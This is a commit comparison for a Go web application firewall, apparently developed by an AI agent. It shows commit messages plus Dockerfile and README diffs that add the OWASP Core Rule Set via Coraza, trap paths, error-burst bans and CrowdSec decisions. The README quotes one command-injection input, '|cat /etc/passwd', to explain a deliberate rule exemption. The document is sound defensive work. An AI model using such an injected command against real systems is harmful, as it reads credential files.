Compare commits

..
5 Commits
Author SHA1 Message Date
clawbot 6fcbda6ece Core Rule Set reads request bodies up to SWWAF_WAF_BODY_LIMIT (closes #116)
check / check (push) Waiting to run
SWWAF_WAF_BODY_LIMIT (default off, at most 1G) has the Core Rule Set read
form data and multipart up to the limit, the rest streaming on, and JSON
and XML no larger than it, with text/json and the application and text
types ending in +json or +xml. The part read is held for the app. A size
or time limit met while reading ends the request. Content-Encoding is
refused again on these kinds. A body Coraza cannot parse, or a multipart
body failing its strict checks, adds 5, as does a multipart body the limit
cuts in a part's headers before a colon or a line feed. Coraza is built
with no_fs_access, so writes no file. Rule 900300 moves to phase 2.

Judgement call: Content-Encoding is refused on a JSON or XML body too
large to read, as SPEC.md allows.

Model: opus-5-5
2026-10-08 12:59:13 +02:00
clawbot 80f4c2cc61 The Core Rule Set, run by Coraza, on each request's method, URL and headers (closes #25)
check / check (push) Waiting to run
Coraza v3.8.1 runs the Core Rule Set 4.25.0 (coraza-coreruleset v4.25.0)
after the rule files, with the six changes and the default
SWWAF_WAF_DISABLED_RULES that SPEC.md gives; no body, no response. The
parameter names in the third and fourth changes are matched in any case,
as Coraza does. SWWAF_WAF_DISABLED_RULES refuses 900000 to 900999,
smallwebwaf's own rules. A request with more than 1000 query parameters
adds 5 (rule 900300). In block mode a match is refused with 403, an
offence counted toward the error burst; in detect mode it is let
through. Both log waf_rule_ids, waf_score and duration_waf, raise
waf_block, and count smallwebwaf_waf_matches_total.

Judgement call: waf_block is raised in block mode too.
Deviation: no engine-error path; with no body read, Coraza cannot fail.

Model: opus-5-5
2026-10-08 09:37:13 +02:00
clawbot e81a7f0ca2 Tests that need a lookup answer give it an hour (closes #119)
check / check (push) Waiting to run
Twelve tests in internal/proxy needed the GeoJS stand-in to be asked or
to answer within the default SWWAF_LOOKUP_TIMEOUT of one second on the
real clock. A hold-up of the test process past it abandoned the request
to the stand-in, or left the client unknown. Each now sets
SWWAF_LOOKUP_TIMEOUT to an hour, and the comment on startGeoJS asks the
same of later tests.

Judgement call: set in each test, not as a default in newProxy, where it
would change two tests that rely on the default second.

Model: opus-5-5
2026-10-08 08:14:45 +02:00
clawbot 54779f08de Trap paths, and the error burst banning a client refused too often (closes #115)
check / check (push) Waiting to run
SWWAF_TRAP_PATHS: a request whose path, as a path rule sees it, is one
of them is a clear sign of attack, banned as a ban rule's match is; the
ban's notes give its trap_path. Checked after the rate limits, before the
rule files.

SWWAF_ERROR_BURST_THRESHOLD (default 30, or off): more refusals in a
minute after a block or ban rule or a trap path, or for a missing or
wrong token, ban the client as a broken limit does. Counted in
clients.json's minute_refusals; limit_hit error_burst, notes kind
refusals.

A token refusal is now the offence token_refused, and
smallwebwaf_offences_total counts every kind the history does.

Judgement call: the threshold is not lowered by a client's limit percentage.

Model: opus-5-5
2026-10-08 06:44:55 +02:00
clawbot 5f3fb48809 CrowdSec decision list fetched, kept, and its clients banned until the decision ends (closes #106)
check / check (push) Waiting to run
SWWAF_CROWDSEC_LAPI_URL and SWWAF_CROWDSEC_LAPI_KEY name an engine whose
decision list, <url>/v1/decisions, is fetched every minute with the key in
X-Api-Key, following no redirect, and kept as a blocklist is: used while a
fetch fails, and across restarts through reputation.json. Ban decisions on an
Ip or a Range end at the fetch time plus their duration. A listed client's
request is refused and bans its netblock with the cause crowdsec until the
decision ends; bans.json, ban notes and metrics take the cause.

Judgement call: fetched every minute, not a setting.
Judgement call: a crowdsec ban never lengthens a limit ban.
Judgement call: a lifted crowdsec ban is remade while its decision lasts.

Model: opus-5-5
2026-10-08 05:15:06 +02:00
43 changed files with 3806 additions and 473 deletions
+9 -5
View File
@@ -36,11 +36,12 @@ RUN go mod tidy -diff || \
{ echo "go.mod or go.sum is not tidy: run make tidy" >&2; exit 1; } { echo "go.mod or go.sum is not tidy: run make tidy" >&2; exit 1; }
# Go's build cache is kept on a tmpfs, out of the image: nothing uses it # Go's build cache is kept on a tmpfs, out of the image: nothing uses it
# after this step, and writing it into the image takes seconds. # after this step, and writing it into the image takes seconds. The tests
# are built with the no_fs_access tag, as the binary is in the build stage.
RUN --mount=type=tmpfs,target=/root/.cache/go-build \ RUN --mount=type=tmpfs,target=/root/.cache/go-build \
go test -timeout 90s -race -cover ./... || \ go test -tags no_fs_access -timeout 90s -race -cover ./... || \
{ echo "--- Rerunning with -v for details ---"; \ { echo "--- Rerunning with -v for details ---"; \
go test -timeout 90s -race -v ./...; exit 1; } go test -tags no_fs_access -timeout 90s -race -v ./...; exit 1; }
# Tidy stage: `go mod tidy` in the test phase's Go, so that the files it # Tidy stage: `go mod tidy` in the test phase's Go, so that the files it
# writes pass the test phase's check. Nothing else depends on it, so only # writes pass the test phase's check. Nothing else depends on it, so only
@@ -84,7 +85,10 @@ COPY . .
# The VERSION build arg when one is given, otherwise # The VERSION build arg when one is given, otherwise
# `git describe --tags --always` on the .git in the build context. With # `git describe --tags --always` on the .git in the build context. With
# .git present, a version that is still empty, dev or unknown fails the # .git present, a version that is still empty, dev or unknown fails the
# build: git is missing or could not read the checkout. # build: git is missing or could not read the checkout. The no_fs_access
# tag keeps Coraza from writing the files of a multipart body to the
# system's temporary directory, since smallwebwaf writes only to its state
# directory.
ARG VERSION ARG VERSION
RUN VERSION="${VERSION:-$(git describe --tags --always)}"; \ RUN VERSION="${VERSION:-$(git describe --tags --always)}"; \
if [ -e .git ]; then \ if [ -e .git ]; then \
@@ -93,7 +97,7 @@ RUN VERSION="${VERSION:-$(git describe --tags --always)}"; \
exit 1 ;; \ exit 1 ;; \
esac; \ esac; \
fi; \ fi; \
CGO_ENABLED=0 go build -trimpath \ CGO_ENABLED=0 go build -tags no_fs_access -trimpath \
-ldflags="-s -w -X main.Version=${VERSION}" \ -ldflags="-s -w -X main.Version=${VERSION}" \
-o /usr/local/bin/smallwebwaf ./cmd/smallwebwaf -o /usr/local/bin/smallwebwaf ./cmd/smallwebwaf
+463 -254
View File
@@ -31,37 +31,43 @@ you name by URL, which it fetches and keeps, with a file of AS numbers'
percentages fetched the same way, the DNS blocklists (DNSBL zones), which it percentages fetched the same way, the DNS blocklists (DNSBL zones), which it
asks about each client in the background, AbuseIPDB, which it asks in the asks about each client in the background, AbuseIPDB, which it asks in the
background about each client that has committed an offence, and the decision background about each client that has committed an offence, and the decision
list of a CrowdSec engine you run, which it fetches and keeps as a blocklist. list of a CrowdSec engine you run, which it fetches and keeps as a blocklist. So
`smallwebwaf` passes each request to the app and the app's answer back, is the last stage: attack detection with the OWASP Core Rule Set, run by Coraza,
unchanged, within its timeouts and size limits, works out each client's address, on the method, the URL and the headers of each request, the trap paths and the
looks up its AS number and country unless you switch that off, bans a client error burst. `smallwebwaf` passes each request to the app and the app's answer
that sends too many requests or too many bytes, not counting those for the paths back, unchanged, within its timeouts and size limits, works out each client's
you choose, with lower limits for the clients of the AS numbers and countries address, looks up its AS number and country unless you switch that off, bans a
you list, refuses a client that comes from a country you refuse or from a client that sends too many requests or too many bytes, not counting those for
network you refuse, refuses, limits or only notes a client a blocklist or a the paths you choose, with lower limits for the clients of the AS numbers and
DNSBL zone you name lists, or AbuseIPDB scores at or over the score you set, countries you list, refuses a client that comes from a country you refuse or
from a network you refuse, refuses, limits or only notes a client a blocklist or
a DNSBL zone you name lists, or AbuseIPDB scores at or over the score you set,
bans a client your CrowdSec engine's decision list lists until that decision bans a client your CrowdSec engine's decision list lists until that decision
ends, lets the networks you choose through, checks each request against the rule ends, lets the networks you choose through, checks each request against the rule
files and bans a client whose request is a clear sign of attack, keeps its bans, files and the trap paths you name and bans a client whose request is a clear
each client's counters and history, GeoJS's answers, the last good copy of each sign of attack, refuses a request the Core Rule Set takes for an attack, bans a
list it fetches, the DNSBL zones' verdicts, AbuseIPDB's scores and the AbuseIPDB client it refuses again and again within a minute for a rule, a trap path, the
checks spent today in JSON files across restarts, takes in your edits of those Core Rule Set or a missing or wrong token, keeps its bans, each client's
files, such as a ban you make, keep or lift, and of the rule files while it counters and history, GeoJS's answers, the last good copy of each list it
runs, writes a JSON log line for every request, sends its log lines to a syslog fetches, the DNSBL zones' verdicts, AbuseIPDB's scores and the AbuseIPDB checks
server too if you name one, sends an alert to a webhook, to Slack and to ntfy, spent today in JSON files across restarts, takes in your edits of those files,
each if you name one, for each ban it makes or makes permanent, for traffic over such as a ban you make, keep or lift, and of the rule files while it runs,
an anomaly threshold you set, for a client a blocklist, the CrowdSec decision writes a JSON log line for every request, sends its log lines to a syslog server
list, a DNSBL zone or AbuseIPDB lists, for GeoJS failing, a list it cannot too if you name one, sends an alert to a webhook, to Slack and to ntfy, each if
fetch, a DNSBL zone or AbuseIPDB that fails or refuses a query and the day's you name one, for each ban it makes or makes permanent, for a request the Core
AbuseIPDB checks used up, for a rule file or state file with an error and for a Rule Set takes for an attack, for traffic over an anomaly threshold you set, for
replacement of the lookup database it cannot read, serves Prometheus metrics to a client a blocklist, the CrowdSec decision list, a DNSBL zone or AbuseIPDB
a scraper that holds the metrics token, lets an admin who holds the admin token lists, for GeoJS failing, a list it cannot fetch, a DNSBL zone or AbuseIPDB that
list, add and lift bans and ask what it knows of a client, and in `observe` mode fails or refuses a query and the day's AbuseIPDB checks used up, for a rule file
passes on the requests it would refuse, logging what it would have done with or state file with an error and for a replacement of the lookup database it
them. It comes as the image the app's own image is built on. The rest of the cannot read, serves Prometheus metrics to a scraper that holds the metrics
design comes after that, in the order of the build order in token, lets an admin who holds the admin token list, add and lift bans and ask
[`SPEC.md`](SPEC.md). The survey of existing tools that led to the design is in what it knows of a client, and in `observe` mode passes on the requests it would
[`EVALUATION.md`](EVALUATION.md). refuse, logging what it would have done with them. It comes as the image the
app's own image is built on. The Core Rule Set reads a request's body too once
`SWWAF_WAF_BODY_LIMIT` is set. The rest of the design comes next, in the order
of the build order in [`SPEC.md`](SPEC.md). The survey of existing tools that
led to the design is in [`EVALUATION.md`](EVALUATION.md).
## Getting started ## Getting started
@@ -91,7 +97,9 @@ in `bin/state` unless `SWWAF_STATE_DIR` is set, and the default rule file of
- Passes each request to the app and the app's answer back unchanged: method, - Passes each request to the app and the app's answer back unchanged: method,
path, query, headers, body and status. Bodies stream through in both path, query, headers, body and status. Bodies stream through in both
directions and are never held whole in memory. A WebSocket, or any other directions and are never held whole in memory, but for the part of a request
body the Core Rule Set reads, at most `SWWAF_WAF_BODY_LIMIT` and one byte
more, which is held until the app is sent it. A WebSocket, or any other
upgraded connection, passes through, and the timeouts do not cut it. upgraded connection, passes through, and the timeouts do not cut it.
- Works out the client's address. A TCP peer outside `SWWAF_TRUSTED_PROXIES` is - Works out the client's address. A TCP peer outside `SWWAF_TRUSTED_PROXIES` is
the client, and the forwarded headers it sends are replaced, not passed on. the client, and the forwarded headers it sends are replaced, not passed on.
@@ -118,13 +126,14 @@ in `bin/state` unless `SWWAF_STATE_DIR` is set, and the default rule file of
bans the client. A request whose path starts with one of bans the client. A request whose path starts with one of
`SWWAF_RATE_LIMIT_EXEMPT_PATHS`, as that setting below describes, is neither `SWWAF_RATE_LIMIT_EXEMPT_PATHS`, as that setting below describes, is neither
counted nor refused by the rate limits; the static lists, bans, the country counted nor refused by the rate limits; the static lists, bans, the country
lists and the rule files still apply to it. A client is one IPv4 address, or lists, the rule files and the Core Rule Set still apply to it. A client is one
one IPv6 group, the netblock of `SWWAF_IPV6_GROUP_PREFIX` its address is in, a IPv4 address, or one IPv6 group, the netblock of `SWWAF_IPV6_GROUP_PREFIX` its
/64 by default, since one abuser usually holds a whole /64. Each window is address is in, a /64 by default, since one abuser usually holds a whole /64.
counted in two fixed buckets, the earlier one weighted by how much of it the Each window is counted in two fixed buckets, the earlier one weighted by how
window still covers. At most `SWWAF_MAX_TRACKED_CLIENTS` clients are kept, much of it the window still covers. At most `SWWAF_MAX_TRACKED_CLIENTS`
20,000 by default, the least recently seen dropped first, with their history, clients are kept, 20,000 by default, the least recently seen dropped first,
and a restart gives no client a fresh allowance (see "State files" below). with their history, and a restart gives no client a fresh allowance (see
"State files" below).
- Counts each client's bytes over a minute, an hour and a day, in the same way: - Counts each client's bytes over a minute, an hour and a day, in the same way:
once a request passed to the app has ended, the body bytes of its answer, of once a request passed to the app has ended, the body bytes of its answer, of
the request, or of both, as `SWWAF_BYTES_COUNT` says. For a WebSocket, or any the request, or of both, as `SWWAF_BYTES_COUNT` says. For a WebSocket, or any
@@ -152,37 +161,97 @@ in `bin/state` unless `SWWAF_STATE_DIR` is set, and the default rule file of
The log line of each request the rate limits count gives its client's The log line of each request the rate limits count gives its client's
percentages below 100 and the settings that gave them, and so do the notes of percentages below 100 and the settings that gave them, and so do the notes of
a ban for a lowered limit, and its alert. a ban for a lowered limit, and its alert.
- Bans a client that breaks a rate limit or a byte limit, as "Bans" in - Bans a client that breaks a rate limit, a byte limit or the error burst, as
[`SPEC.md`](SPEC.md) describes: the first ban lasts an hour, and a limit "Bans" in [`SPEC.md`](SPEC.md) describes: the first ban lasts an hour, and a
broken again within a day of a ban ending bans for three times as long as that limit broken again within a day of a ban ending bans for three times as long
ban, so 1, 3, 9, 27 and 81 hours; a ban that would last longer than seven days as that ban, so 1, 3, 9, 27 and 81 hours; a ban that would last longer than
is permanent instead. A ban covers the client's netblock: its IPv4 address, or seven days is permanent instead. A ban covers the client's netblock: its IPv4
the netblock around it that `SWWAF_BAN_SCOPE_V4_PREFIX` sets, or its IPv6 address, or the netblock around it that `SWWAF_BAN_SCOPE_V4_PREFIX` sets, or
group. While it lasts, every request from the netblock is refused with its IPv6 group. While it lasts, every request from the netblock is refused
`SWWAF_BAN_RESPONSE` after the static lists and before the country lists, so with `SWWAF_BAN_RESPONSE` after the static lists and before the country lists,
the client is not looked up, and is not counted for the rate limits. A ban so the client is not looked up, and is not counted for the rate limits. A ban
sets the client's counters back to zero. Each ban carries notes for deciding sets the client's counters back to zero. Each ban carries notes for deciding
whether to lift it: the limit, whether it is on requests or bytes, its window whether to lift it: the limit, whether it is on requests, bytes or refusals,
and the requests or bytes counted in it, the client's percentage of that kind its window and the requests, bytes or refusals counted in it, the client's
of limit and the setting that gave it when a biased threshold lowered the percentage of that kind of limit and the setting that gave it when a biased
limit, the request that broke it, the client's AS number, AS name and country threshold lowered the limit, the request that broke it, the client's AS
once they are looked up, the blocklists, the CrowdSec decision list, DNSBL number, AS name and country once they are looked up, the blocklists, the
zones and AbuseIPDB, with its score, that listed the client when the ban was CrowdSec decision list, DNSBL zones and AbuseIPDB, with its score, that listed
made, the netblock's requests since it was first seen, how many of them the the client when the ban was made, the netblock's requests since it was first
ban has refused, and how many bans the netblock had before, for a broken seen, how many of them the ban has refused, and how many bans the netblock had
limit, for a clear sign of attack, by an admin and for CrowdSec's decision. At before, for a broken limit, for a clear sign of attack, by an admin and for
most `SWWAF_MAX_BANS` bans `smallwebwaf` made are kept, past, active and CrowdSec's decision. At most `SWWAF_MAX_BANS` bans `smallwebwaf` made are
permanent; past that, the earliest such ban of the netblock that has gone kept, past, active and permanent; past that, the earliest such ban of the
longest without a request is dropped first. The bans whose cause is `admin`, netblock that has gone longest without a request is dropped first. The bans
those you make or keep, are kept besides, and never dropped. `bans.json` shows whose cause is `admin`, those you make or keep, are kept besides, and never
the bans and their notes, a restart lifts none, and you make, keep or lift a dropped. `bans.json` shows the bans and their notes, a restart lifts none, and
ban by editing it (see "State files" below). you make, keep or lift a ban by editing it (see "State files" below).
- Checks each request against the rules of the rule files (see "Rule files" - Checks each request against the rules of the rule files (see "Rule files"
below) after the rate limits, and before its body is read. A `log` rule that below) after the rate limits, and before its body is read. A `log` rule that
matches is noted in the log line; a `block` rule refuses the request with matches is noted in the log line; a `block` rule refuses the request with
`403`, and bans no one; a `ban` rule refuses it with `SWWAF_BAN_RESPONSE` and `403`, and bans no one for it, though the refusal counts toward the error
bans the client's netblock for a clear sign of attack. Matching stops at the burst; a `ban` rule refuses it with `SWWAF_BAN_RESPONSE` and bans the client's
first rule that refuses. A client in `SWWAF_ALLOW_NETS` is not checked. netblock for a clear sign of attack. Matching stops at the first rule that
refuses. A client in `SWWAF_ALLOW_NETS` is not checked.
- Checks each request against the trap paths `SWWAF_TRAP_PATHS` names, after the
rate limits and before the rule files, which it does not need. A request for
one is refused with `SWWAF_BAN_RESPONSE` and bans the client's netblock for a
clear sign of attack, as a `ban` rule's match does. A trap path is matched
against the path a `path` rule sees: as the client sent it, before any
decoding and without the query, the whole of it, character for character.
`/wp-login.php` matches `/wp-login.php?redirect_to=x`, but not
`/wp-login.php/`, `/WP-LOGIN.PHP`, `/blog/wp-login.php` or `/%77p-login.php`.
A client in `SWWAF_ALLOW_NETS` is not checked.
- Inspects each request with the OWASP Core Rule Set 4.25.0, run by Coraza,
after the rule files, unless `SWWAF_WAF_MODE` is `off`: its method, its URL
with the query, and its headers, and, once `SWWAF_WAF_BODY_LIMIT` is set, its
body when it is form data, multipart, JSON or XML, as that setting below
describes; no response is inspected. Each of its rules that matches adds to
the request's anomaly score, up to the paranoia level
`SWWAF_WAF_PARANOIA_LEVEL` sets. A request with more than 1000 query
parameters, or more than 1000 fields in a form data or JSON body it reads,
adds 5 (rule 900300), as a rule rated critical does, since Coraza reads only
the first 1000. A score at or over `SWWAF_WAF_ANOMALY_THRESHOLD`, 5 by
default, is a match: in `block` mode, the default, the request is refused with
`403`, and in `detect` mode it goes on to the app. Either way its log line
names the rules and the score (see `waf_rule_ids` and `waf_score` in "Request
log" below), and it raises a `waf_block` alert. A refusal bans no one by
itself, since the Core Rule Set takes some ordinary requests for attacks, but
it is an offence the client's history counts, and it counts toward the error
burst; a match in `detect` mode is neither. A request a rule file refuses, one
for a path `SWWAF_WAF_EXEMPT_PATHS` exempts, and one from a client in
`SWWAF_ALLOW_NETS` are not inspected. `smallwebwaf` changes the Core Rule Set
in six ways, so that gitea's ordinary requests get through, and no setting
undoes them:
- `PUT`, `PATCH` and `DELETE` are allowed besides `GET`, `HEAD`, `POST` and
`OPTIONS`; any other method stays refused.
- The headers `Expect` and `Content-Encoding` are allowed; the others the
Core Rule Set refuses, such as `Proxy` and `Content-Range`, stay refused.
Once `SWWAF_WAF_BODY_LIMIT` is set, `Content-Encoding` is refused again
(rule 920450) on form data, multipart, JSON and XML, the kinds of body the
Core Rule Set reads, since a compressed body cannot be inspected; so it is
on a JSON or XML body too large to be read.
- The query parameter `redirect_uri` is not checked for a URL naming an IP
address or `localhost` (rules 931100 and 934110), which Git Credential
Manager, git-credential-oauth and tea ask to be sent back to.
- The query parameters `path`, `files`, `skip-to`, `sub_path`, `ref`, `sha`,
`branch`, `workflow`, `artifactName` and `redirect_to` are not checked
against the lists of system files (930120), shell paths (932160) and
command names (932260), so that a file such as `.gitignore` or a branch
such as `docker-build` gets through there. So does what only these rules
refuse, such as `|cat /etc/passwd`; path traversal and SQL injection are
still refused there. These names, and `redirect_uri` above, are matched
without regard to case, as Coraza matches them, so `Path` or `PATH` is
treated as `path`. Once `SWWAF_WAF_BODY_LIMIT` is set, they are left out
in the same way among the fields of a form data or multipart body, which
Coraza holds with the query parameters, and gitea posts some of them in
its forms: `redirect_uri` when an OAuth sign-in is granted, and `ref` when
a workflow is run by hand. A field of a JSON body is named by its path,
such as `json.path`, and keeps these rules.
- The cookies `gitea_flash` and `redirect_to` are not read, and `Referer` is
not checked for a Unix command given without arguments (932340) or for
Java starting a process (944110); it is checked by every other rule.
- Responses are not inspected.
- Bans a client for a clear sign of attack, as "Bans" in [`SPEC.md`](SPEC.md) - Bans a client for a clear sign of attack, as "Bans" in [`SPEC.md`](SPEC.md)
describes: the first such ban lasts `SWWAF_ATTACK_BAN_DURATION`, seven days by describes: the first such ban lasts `SWWAF_ATTACK_BAN_DURATION`, seven days by
default, and any request from the netblock while it lasts makes it permanent. default, and any request from the netblock while it lasts makes it permanent.
@@ -190,8 +259,22 @@ in `bin/state` unless `SWWAF_STATE_DIR` is set, and the default rule file of
sign of attack bans it permanently at once. Such a ban covers the same sign of attack bans it permanently at once. Such a ban covers the same
netblock as a ban for a broken limit, does not set the client's counters back netblock as a ban for a broken limit, does not set the client's counters back
to zero, and does not make the netblock's next ban for a broken limit longer. to zero, and does not make the netblock's next ban for a broken limit longer.
Its notes give the id and the target of the rule that matched in place of the Its notes give the id and the target of the rule that matched, or the trap
limit. path asked for, in place of the limit.
- Bans a client that `smallwebwaf` refused more than
`SWWAF_ERROR_BURST_THRESHOLD` times within a minute, 30 by default, after a
match of a `block` or `ban` rule, a trap path or the Core Rule Set, or for a
missing or wrong token at one of its own endpoints, as a broken rate limit
bans it. Each such refusal is counted once it has been answered, in two
buckets of a minute, as the rate limits count requests. The refusal that takes
the client over the threshold breaks the error burst; it is answered as any
other such refusal is, and the client's next request is refused under the ban.
The app's own answers, such as its `401` and `404`, are not counted. The
threshold is the same for every client, whatever percentage of the rate limits
a biased threshold or a reputation source gives it. A client in
`SWWAF_ALLOW_NETS` is not counted, and one in `SWWAF_RATE_LIMIT_EXEMPT_NETS`
is. The ban's notes give `refusals` as what the limit is on, the threshold as
the limit, and the refusals counted in the minute.
- Looks up the AS number and country of every client through GeoJS, or in the - Looks up the AS number and country of every client through GeoJS, or in the
IPinfo Lite database file while `SWWAF_LOOKUP_SOURCE` is `file`, after the IPinfo Lite database file while `SWWAF_LOOKUP_SOURCE` is `file`, after the
static lists and bans, unless `SWWAF_LOOKUP_SOURCE` is `off` (see "Country and static lists and bans, unless `SWWAF_LOOKUP_SOURCE` is `off` (see "Country and
@@ -242,44 +325,51 @@ in `bin/state` unless `SWWAF_STATE_DIR` is set, and the default rule file of
- Checks the client with AbuseIPDB while `SWWAF_ABUSEIPDB_KEY` is set, after the - Checks the client with AbuseIPDB while `SWWAF_ABUSEIPDB_KEY` is set, after the
DNSBL zones and before the rate limits (see "AbuseIPDB" below), by the scores DNSBL zones and before the rate limits (see "AbuseIPDB" below), by the scores
it keeps. Only a client whose history counts an offence is checked, so far one it keeps. Only a client whose history counts an offence is checked, so far one
that has broken a rate limit or a byte limit, matched a ban rule, or had a that has broken a rate limit, a byte limit or the error burst, matched a ban
request refused by a block rule, and only in the background, so that no rule, asked for a trap path, or had a request refused by a block rule, by the
request waits for AbuseIPDB. A score at or over `SWWAF_ABUSEIPDB_MIN_SCORE` is Core Rule Set or for a missing or wrong token, and only in the background, so
a hit, and `SWWAF_REPUTATION_ACTION` does with its client what it does with that no request waits for AbuseIPDB. A score at or over
one a DNSBL zone's verdict lists. The request's log line names AbuseIPDB, and `SWWAF_ABUSEIPDB_MIN_SCORE` is a hit, and `SWWAF_REPUTATION_ACTION` does with
it raises an alert. A client a blocklist or a DNSBL zone refuses, or the its client what it does with one a DNSBL zone's verdict lists. The request's
CrowdSec decision list bans, is not checked. log line names AbuseIPDB, and it raises an alert. A client a blocklist or a
DNSBL zone refuses, or the CrowdSec decision list bans, is not checked.
- Checks the client's own address against the static lists, the three netblock - Checks the client's own address against the static lists, the three netblock
settings below, before anything else, its lookup included. A client in settings below, before anything else, its lookup included. A client in
`SWWAF_ALLOW_NETS` skips bans, the country lists, the blocklists, the CrowdSec `SWWAF_ALLOW_NETS` skips bans, the country lists, the blocklists, the CrowdSec
decision list, the DNSBL zones, AbuseIPDB, the rate limits, the byte limits decision list, the DNSBL zones, AbuseIPDB, the rate limits, the byte limits,
and the rule files, and is not looked up; the timeouts and size limits still the trap paths, the rule files, the Core Rule Set and the error burst, and is
apply. A client in `SWWAF_DENY_NETS` is refused with `SWWAF_BAN_RESPONSE` not looked up; the timeouts and size limits still apply. A client in
before its body is read, and the request is not counted for the rate limits; `SWWAF_DENY_NETS` is refused with `SWWAF_BAN_RESPONSE` before its body is
an address in `SWWAF_ALLOW_NETS` too is let through. A client in read, and the request is not counted for the rate limits; an address in
`SWWAF_ALLOW_NETS` too is let through. A client in
`SWWAF_RATE_LIMIT_EXEMPT_NETS` is neither counted nor refused by the rate `SWWAF_RATE_LIMIT_EXEMPT_NETS` is neither counted nor refused by the rate
limits, and has no bytes counted by the byte limits; the country lists, the limits, and has no bytes counted by the byte limits; the country lists, the
rule files and bans still apply to it. trap paths, the rule files, the Core Rule Set, the error burst and bans still
apply to it.
- In `observe` mode, with `SWWAF_MODE=observe`, refuses none of the requests - In `observe` mode, with `SWWAF_MODE=observe`, refuses none of the requests
that `SWWAF_DENY_NETS`, a ban, the country lists, a blocklist, the CrowdSec that `SWWAF_DENY_NETS`, a ban, the country lists, a blocklist, the CrowdSec
decision list, a DNSBL zone's verdict, AbuseIPDB's score, a rate limit or a decision list, a DNSBL zone's verdict, AbuseIPDB's score, a rate limit, a trap
rule would refuse: it passes them to the app, and their log lines name what path, a rule or the Core Rule Set would refuse: it passes them to the app, and
`enforce` mode would have done (see `would_action` in "Request log" below). their log lines name what `enforce` mode would have done (see `would_action`
The checks run, and requests and bytes are counted, as in `enforce` mode, with in "Request log" below). The checks run, and requests, bytes and refusals are
three differences: neither a broken rate limit or byte limit, a `ban` rule nor counted, as in `enforce` mode, with three differences: neither a broken rate
the CrowdSec decision list makes a ban; a broken limit does not set the limit, byte limit or error burst, a `ban` rule, a trap path nor the CrowdSec
client's counters back to zero, so each request over a rate limit is logged as decision list makes a ban; a broken limit does not set the client's counters
one that would be refused, and each whose bytes keep the client over a byte back to zero, so each request over a rate limit is logged as one that would be
limit as breaking it; and a request under a ban does not make it permanent. As refused, each whose bytes keep the client over a byte limit as breaking it,
in `enforce` mode, the bytes counted are only those of the requests `enforce` and each refusal that keeps it over the error burst as breaking that; and a
mode would have passed to the app. A ban it would have made, or made request under a ban does not make it permanent. As in `enforce` mode, the
permanent, raises the alert `enforce` mode would have raised, marked as what bytes counted are only those of the requests `enforce` mode would have passed
would have happened (see "Alerts" below). The bans in `bans.json` are kept, to the app, and the refusals counted for the error burst only those it would
and refuse requests again when `smallwebwaf` next runs in `enforce` mode, as have made: a request it would have refused before it reached an endpoint is
long as they last. The timeouts and size limits still apply, since they not counted for its token. A ban it would have made, or made permanent, raises
protect `smallwebwaf` and the app themselves, and a request for one of the alert `enforce` mode would have raised, marked as what would have happened
`smallwebwaf`'s own endpoints without its token is still answered `401`. It is (see "Alerts" below). The bans in `bans.json` are kept, and refuse requests
for trying a configuration before enforcing it. again when `smallwebwaf` next runs in `enforce` mode, as long as they last.
The timeouts and size limits still apply, since they protect `smallwebwaf` and
the app themselves, and a request for one of `smallwebwaf`'s own endpoints
without its token is still answered `401`. It is for trying a configuration
before enforcing it.
- Answers `GET /_smallwebwaf/healthz` itself with `200` and `ok`, before any - Answers `GET /_smallwebwaf/healthz` itself with `200` and `ok`, before any
check and without asking the app, for the image's health check. check and without asking the app, for the image's health check.
- Answers `GET /_smallwebwaf/metrics` with its metrics (see "Metrics" below) for - Answers `GET /_smallwebwaf/metrics` with its metrics (see "Metrics" below) for
@@ -298,17 +388,18 @@ in `bin/state` unless `SWWAF_STATE_DIR` is set, and the default rule file of
- Sends every line it writes on stdout to a syslog server as well, while - Sends every line it writes on stdout to a syslog server as well, while
`SWWAF_LOG_REMOTE_URL` names one (see "Sending the log to a syslog server" `SWWAF_LOG_REMOTE_URL` names one (see "Sending the log to a syslog server"
below). below).
- Sends an alert for each ban it makes or makes permanent, for a count over an - Sends an alert for each ban it makes or makes permanent, for a match of the
anomaly threshold, for a client a blocklist, the CrowdSec decision list, a Core Rule Set, for a count over an anomaly threshold, for a client a
DNSBL zone or AbuseIPDB lists, for GeoJS failing, a list it cannot fetch, the blocklist, the CrowdSec decision list, a DNSBL zone or AbuseIPDB lists, for
CrowdSec decision list among them, a DNSBL zone or AbuseIPDB that fails or GeoJS failing, a list it cannot fetch, the CrowdSec decision list among them,
refuses a query, and the day's AbuseIPDB checks used up, for a rule file or a DNSBL zone or AbuseIPDB that fails or refuses a query, and the day's
state file with an error, and for a replacement of the lookup database it AbuseIPDB checks used up, for a rule file or state file with an error, and for
cannot read, holding back repeats and, past an hourly limit, rolling the rest a replacement of the lookup database it cannot read, holding back repeats and,
into one summary, to each destination you name: as a JSON object to the past an hourly limit, rolling the rest into one summary, to each destination
webhook `SWWAF_ALERT_WEBHOOK_URL` names, as a message to the Slack incoming you name: as a JSON object to the webhook `SWWAF_ALERT_WEBHOOK_URL` names, as
webhook `SWWAF_ALERT_SLACK_WEBHOOK_URL` names, and as a message to the ntfy a message to the Slack incoming webhook `SWWAF_ALERT_SLACK_WEBHOOK_URL` names,
topic `SWWAF_ALERT_NTFY_URL` names (see "Alerts" below). and as a message to the ntfy topic `SWWAF_ALERT_NTFY_URL` names (see "Alerts"
below).
- Counts requests and their bytes over a minute and an hour, per client, per - Counts requests and their bytes over a minute and an hour, per client, per
netblock around a client, per AS number, for the whole service and per named netblock around a client, per AS number, for the whole service and per named
netblock, and sends an `anomaly` alert for a count over the anomaly threshold netblock, and sends an `anomaly` alert for a count over the anomaly threshold
@@ -385,8 +476,8 @@ effective settings are logged at start, unless `SWWAF_LOG_LEVEL` is `warn` or
- `SWWAF_RESPONSE_MAX_BYTES` (default `5G`): the largest response body. - `SWWAF_RESPONSE_MAX_BYTES` (default `5G`): the largest response body.
- `SWWAF_ALLOW_NETS` (default empty): netblocks whose clients skip bans, the - `SWWAF_ALLOW_NETS` (default empty): netblocks whose clients skip bans, the
country lists, the blocklists, the CrowdSec decision list, the DNSBL zones, country lists, the blocklists, the CrowdSec decision list, the DNSBL zones,
AbuseIPDB, the rate limits, the byte limits and the rule files, such as your AbuseIPDB, the rate limits, the byte limits, the trap paths, the rule files
monitoring or your own networks. and the error burst, such as your monitoring or your own networks.
- `SWWAF_RATE_LIMIT_EXEMPT_NETS` (default empty): netblocks whose clients the - `SWWAF_RATE_LIMIT_EXEMPT_NETS` (default empty): netblocks whose clients the
rate limits and the byte limits do not apply to, such as a machine that talks rate limits and the byte limits do not apply to, such as a machine that talks
to the app all day. to the app all day.
